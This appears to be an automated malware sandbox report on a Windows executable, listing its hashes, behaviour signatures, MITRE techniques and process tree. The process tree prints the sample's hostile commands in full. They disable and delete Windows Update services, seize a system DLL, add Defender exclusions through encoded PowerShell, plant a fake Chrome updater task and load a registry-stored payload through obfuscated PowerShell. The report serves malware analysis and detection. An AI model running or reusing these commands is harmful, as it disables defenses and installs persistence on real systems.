b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3

Analysis

max time kernel
12s
max time network
75s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
10-11-2022 19:26

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General

Target

b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe
Size

2.7MB
MD5

5026ed09cc5a093093461066d16a8f30
SHA1

34d60b874d9d3f8841c721692ea1daf31f330653
SHA256

b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3
SHA512

2429b9d55af9abe991a182b5fe49548d31986046c3bbacaa4021dd7544752f9b2e0b5c494c989b58daafaaf604e863abe3bd013125068331538618140d67a1f1
SSDEEP

49152:HgJH+Kol630+0DW0TOWxKyuPcMPgBAnDEQ1o/40fyNHpElUZ7lPP:AJgl630pBTXVGhPYzQ1o//wElulH

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3772	takeown.exe
1152	icacls.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3772	takeown.exe
1152	icacls.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4752 set thread context of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3464	sc.exe
4616	sc.exe
4984	sc.exe
1564	sc.exe
1308	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry key 1 TTPs 9 IoCs

Modify Registry

T1112

pid	Process
1088	reg.exe
4324	reg.exe
1228	reg.exe
4808	reg.exe
4332	reg.exe
2872	reg.exe
4140	reg.exe
4368	reg.exe
4008	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe
Token: SeShutdownPrivilege	4552	powercfg.exe
Token: SeCreatePagefilePrivilege	4552	powercfg.exe
Token: SeShutdownPrivilege	3296	powercfg.exe
Token: SeCreatePagefilePrivilege	3296	powercfg.exe
Token: SeShutdownPrivilege	3228	powercfg.exe
Token: SeCreatePagefilePrivilege	3228	powercfg.exe
Token: SeShutdownPrivilege	744	powercfg.exe
Token: SeCreatePagefilePrivilege	744	powercfg.exe
Token: SeTakeOwnershipPrivilege	3772	takeown.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 4752 wrote to memory of 2044	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	82
PID 4752 wrote to memory of 2044	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	82
PID 4752 wrote to memory of 672	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	89
PID 4752 wrote to memory of 672	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	89
PID 4752 wrote to memory of 400	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	90
PID 4752 wrote to memory of 400	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	90
PID 672 wrote to memory of 3464	672	cmd.exe	92
PID 672 wrote to memory of 3464	672	cmd.exe	92
PID 400 wrote to memory of 4552	400	cmd.exe	93
PID 400 wrote to memory of 4552	400	cmd.exe	93
PID 672 wrote to memory of 4616	672	cmd.exe	94
PID 672 wrote to memory of 4616	672	cmd.exe	94
PID 400 wrote to memory of 3296	400	cmd.exe	95
PID 400 wrote to memory of 3296	400	cmd.exe	95
PID 672 wrote to memory of 4984	672	cmd.exe	96
PID 672 wrote to memory of 4984	672	cmd.exe	96
PID 400 wrote to memory of 3228	400	cmd.exe	97
PID 400 wrote to memory of 3228	400	cmd.exe	97
PID 672 wrote to memory of 1564	672	cmd.exe	98
PID 672 wrote to memory of 1564	672	cmd.exe	98
PID 400 wrote to memory of 744	400	cmd.exe	99
PID 400 wrote to memory of 744	400	cmd.exe	99
PID 672 wrote to memory of 1308	672	cmd.exe	100
PID 672 wrote to memory of 1308	672	cmd.exe	100
PID 672 wrote to memory of 2872	672	cmd.exe	101
PID 672 wrote to memory of 2872	672	cmd.exe	101
PID 672 wrote to memory of 1088	672	cmd.exe	102
PID 672 wrote to memory of 1088	672	cmd.exe	102
PID 672 wrote to memory of 4324	672	cmd.exe	103
PID 672 wrote to memory of 4324	672	cmd.exe	103
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 4752 wrote to memory of 4712	4752	b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe	104
PID 672 wrote to memory of 1228	672	cmd.exe	105
PID 672 wrote to memory of 1228	672	cmd.exe	105
PID 672 wrote to memory of 4808	672	cmd.exe	106
PID 672 wrote to memory of 4808	672	cmd.exe	106
PID 672 wrote to memory of 3772	672	cmd.exe	107
PID 672 wrote to memory of 3772	672	cmd.exe	107
PID 672 wrote to memory of 1152	672	cmd.exe	108
PID 672 wrote to memory of 1152	672	cmd.exe	108

C:\Users\Admin\AppData\Local\Temp\b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe
"C:\Users\Admin\AppData\Local\Temp\b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZgBxACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwBhAG0AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegB5AGQAaQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBpAHUAbAAjAD4A"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:672
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3464
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4616
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4984
- - C:\Windows\system32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1564
- - C:\Windows\system32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1308
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
    3⤵
    - Modifies registry key
    PID:2872
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
    3⤵
    - Modifies registry key
    PID:1088
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
    3⤵
    - Modifies security service
    - Modifies registry key
    PID:4324
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
    3⤵
    - Modifies registry key
    PID:1228
- - C:\Windows\system32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
    3⤵
    - Modifies registry key
    PID:4808
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3772
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1152
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:4332
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:4140
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:4368
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:4008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
    3⤵
    PID:4700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
    3⤵
    PID:3588
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
    3⤵
    PID:5100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
    3⤵
    PID:852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
    3⤵
    PID:4156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
    3⤵
    PID:3924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4552
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3296
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3228
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:744
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  - Drops file in Windows directory
  PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYwB4AG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEASABBAEEAZAB3AEEAagBBAEQANABBAEkAQQBCAFQAQQBIAFEAQQBZAFEAQgB5AEEASABRAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQgB6AEEAQwBBAEEATABRAEIARwBBAEcAawBBAGIAQQBCAGwAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAEkAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBkAFEAQgB3AEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAdABBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBJAEEAQgBTAEEASABVAEEAYgBnAEIAQgBBAEgATQBBAEkAQQBBADgAQQBDAE0AQQBhAFEAQgAwAEEAQwBNAEEAUABnAEEAPQAiACcAKQAgADwAIwB6AHIAbABtACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAdwBzACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAZQB1AHEAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBpAGEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABiADQAOQA1AGQANgA4AGIAMAA3ADMAMwBkADAANwAxAGUANgA3AGUAMABjADMAMAA2ADYANQAzADgAMgBkAGUAYwBkADcAMQA4ADgANQBhAGYAOQBiAGEAZAAxAGMANgA1ADEAMABlAGYAMQA2ADgAZQA1ADcAMwAyAGMAZAAzAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAbwB1ACMAPgA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgADwAIwBhAHYAYQAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnADsA"
  2⤵
  PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe"
  2⤵
  PID:5116
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:2340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:4584

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{5bf190bf-9526-4c5c-b850-0640a3efbace}
1⤵
PID:3612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHAAdwAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAaQB0ACMAPgA="
1⤵
PID:4484

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cb3a799921d48256ab45414af88b0aa8

SHA1
8888fb5656f5f11576c0fbc3ba45d7df56000d28

SHA256
5ad60a0e324106c6b5a8a7c41b4eac83234ed53cf26025dd4d63c0750b265105

SHA512
21b53b49d0f95cb600444b15a274c31d9374ae96dc2ab464e6ada96bae11f1000e92f6f51f62e5b91891dbbb30e6ab9c71006a9a166b8d4ae24457dcd7efdf69

Download Submit
memory/608-200-0x00007FFE73230000-0x00007FFE73240000-memory.dmp

Filesize
64KB

Download
memory/2032-195-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/2032-172-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/2044-137-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/2044-136-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/2044-135-0x000001CBF7360000-0x000001CBF7382000-memory.dmp

Filesize
136KB

Download
memory/2340-187-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/2340-189-0x00007FFEB31B0000-0x00007FFEB33A5000-memory.dmp

Filesize
2.0MB

Download
memory/2340-178-0x00007FFEB1340000-0x00007FFEB13FE000-memory.dmp

Filesize
760KB

Download
memory/2340-177-0x00007FFEB31B0000-0x00007FFEB33A5000-memory.dmp

Filesize
2.0MB

Download
memory/2340-188-0x00007FFEB1340000-0x00007FFEB13FE000-memory.dmp

Filesize
760KB

Download
memory/2340-170-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/3612-183-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/3612-185-0x00007FFEB1340000-0x00007FFEB13FE000-memory.dmp

Filesize
760KB

Download
memory/3612-184-0x00007FFEB31B0000-0x00007FFEB33A5000-memory.dmp

Filesize
2.0MB

Download
memory/3612-182-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/3612-190-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/3612-179-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/3612-191-0x00007FFEB31B0000-0x00007FFEB33A5000-memory.dmp

Filesize
2.0MB

Download
memory/4584-174-0x0000000004A40000-0x0000000004AA6000-memory.dmp

Filesize
408KB

Download
memory/4584-175-0x0000000004B60000-0x0000000004BC6000-memory.dmp

Filesize
408KB

Download
memory/4584-173-0x00000000042E0000-0x0000000004302000-memory.dmp

Filesize
136KB

Download
memory/4584-169-0x0000000004360000-0x0000000004988000-memory.dmp

Filesize
6.2MB

Download
memory/4584-186-0x00000000051C0000-0x00000000051DE000-memory.dmp

Filesize
120KB

Download
memory/4584-167-0x00000000018A0000-0x00000000018D6000-memory.dmp

Filesize
216KB

Download
memory/4712-161-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/4712-153-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/4712-155-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/4712-157-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/4752-132-0x0000000000DE0000-0x0000000001098000-memory.dmp

Filesize
2.7MB

Download
memory/4752-156-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/4752-140-0x0000000001FA0000-0x0000000001FB2000-memory.dmp

Filesize
72KB

Download
memory/4752-133-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/4752-198-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download